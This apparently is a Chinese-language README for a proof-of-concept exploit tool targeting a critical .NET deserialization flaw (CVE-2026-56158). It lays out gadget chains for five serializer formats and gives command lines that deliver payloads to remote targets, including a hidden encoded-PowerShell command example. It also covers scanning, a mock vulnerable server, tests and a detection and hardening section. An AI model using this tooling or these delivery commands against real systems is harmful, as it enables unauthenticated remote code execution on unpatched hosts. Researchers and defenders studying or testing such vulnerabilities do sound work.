
为 CVE-2026-56158 生成五种 .NET 反序列化载荷格式,通过 HTTP/SOAP/JSON 端点交付,包含模拟服务器、扫描器和 JSON 报告输出。
严重(CVSS 9.8) —— Microsoft .NET Framework 与 .NET 运行时中的不受信任数据反序列化(CWE-502) 已修补:2026年7月14日 | 发现者:Positive Technologies (PT-2026-60174)
CVE-2026-56158 是 Microsoft .NET Framework 和 .NET 运行时中的一个严重远程代码执行漏洞。该缺陷存在于对不受信任数据的不安全反序列化(CWE-502)中 —— 当 .NET 应用程序使用旧版序列化器(BinaryFormatter、NetDataContractSerializer、SoapFormatter、ObjectStateFormatter)或启用了 TypeNameHandling.All/Auto 的 Json.NET 时,未经身份验证的远程攻击者可以投递精心构造的序列化负载,从而在反序列化时触发任意代码执行。
该漏洞的 CVSS 3.1 基础评分为 9.8(严重),向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,这意味着:
Microsoft 已于 2026年7月14日 随每月 Patch Tuesday 周期发布了安全更新。
.NET 运行时的旧版序列化器在从序列化流中重建任意对象类型时,不会验证类型或内容。当攻击者控制序列化输入时,他们可以引导反序列化器实例化意外类型,这些类型的构造函数、回调或属性设置器会执行任意代码 —— 这是一种经典的反序列化小工具链攻击。
该漏洞影响多种序列化机制:
TypeConfuseDelegate 小工具链委托给 Process.StartProcessStartInfo 嵌入在 SOAP 正文中Process.StartTypeNameHandling.All/Auto 时,带有 $type 元数据的 JSON;ObjectDataProvider 小工具调用 Process.StartAlpine Linux 软件包:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0此 PoC 漏洞利用通过 5 种不同的反序列化攻击格式生成并投递负载:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream 或 text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE 字段JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$type 元数据的 JSONapplication/jsonTypeNameHandling.All 或 Auto 的 REST API 端点┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
end
CVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
使用默认命令(calc.exe)生成全部 5 种负载格式:
python3 exploit.py
输出:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
使用自定义命令生成:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
启动内置的模拟易受攻击 .NET 服务器并投递所有负载:
python3 exploit.py --listen
此操作将:
预期输出:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
自定义端口:
python3 exploit.py --listen --port 8080
将特定负载格式保存到文件中,以便手动投递:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
将所有负载投递到远程 .NET 目标:
python3 exploit.py -u http://target:8080 -c "calc.exe"
使用 SSL 证书绕过:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
扫描目标以查找 .NET 版本、反序列化端点和 ViewState 问题:
python3 exploit.py -u http://target:8080 --scan
此操作检查:
X-AspNet-Version、X-Powered-By)/api/deserialize、/Service.svc 等)生成包含完整漏洞利用细节的 JSON 报告:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
报告包含:
python3 test_exploit.py
测试覆盖:
python3 e2e_test.py
测试覆盖:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
运行检测检查器以识别易受攻击的 .NET 安装:
python3 detect.py
扫描源代码中不安全的反序列化模式:
python3 detect.py /path/to/source/code
检测器检查:
dotnet --list-runtimes)BinaryFormatter.Deserialize、NetDataContractSerializer.ReadObject、SoapFormatter.Deserialize、ObjectStateFormatter.Deserialize、TypeNameHandling.All/Auto、LosFormatter.DeserializeSystem.Text.Json 或具有严格类型绑定的 DataContractSerializer 替换 BinaryFormatterSerializationBinder 允许列表Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac 和 ViewStateEncryptionTypeNameHandling.All/Auto;改用 TypeNameHandling.NoneSoapFormatter 和 NetDataContractSerializer 处理不受信任的输入此概念验证(PoC)漏洞利用仅用于教育和经授权的安全测试目的。请仅对您拥有或已获得明确书面授权进行测试的系统使用此工具。对非您拥有的系统进行未经授权的使用是违法的,并可能违反计算机欺诈和滥用相关法律。
作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。
MIT 许可证 —— 详情请参阅 LICENSE 文件。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-56158 |
| 标题 | .NET Framework 远程代码执行漏洞 |
| CVSS 3.1 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 高危(AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502(不受信任数据反序列化) |
| 发布时间 | 2026年7月14日 |
| 修补时间 | 2026年7月14日 |
| 发现者 | Positive Technologies (PT-2026-60174) |
| EPSS | 尚未评分 |
| CISA KEV | 未列入 |
| 产品 | 受影响范围 | 修复版本 | KB 文章 |
|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | 所有修补前版本 | 已修补 | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | 所有修补前版本 | 已修补 | KB5100991 |
| .NET Framework 4.8 | 所有修补前版本 | 已修补 | KB5101011 |
| .NET Framework 4.8.1 | 所有修补前版本 | 已修补 | KB5101002 |
| Visual Studio 2022 (17.12) | 修补前版本 | 17.12.x | — |
| Visual Studio 2022 (17.14) | 修补前版本 | 17.14.x | — |
| Visual Studio 2026 (18.7) | 修补前版本 | 18.7.x | — |
dotnet.exe、devenv.exe 或自定义 .NET 宿主进程产生的意外子进程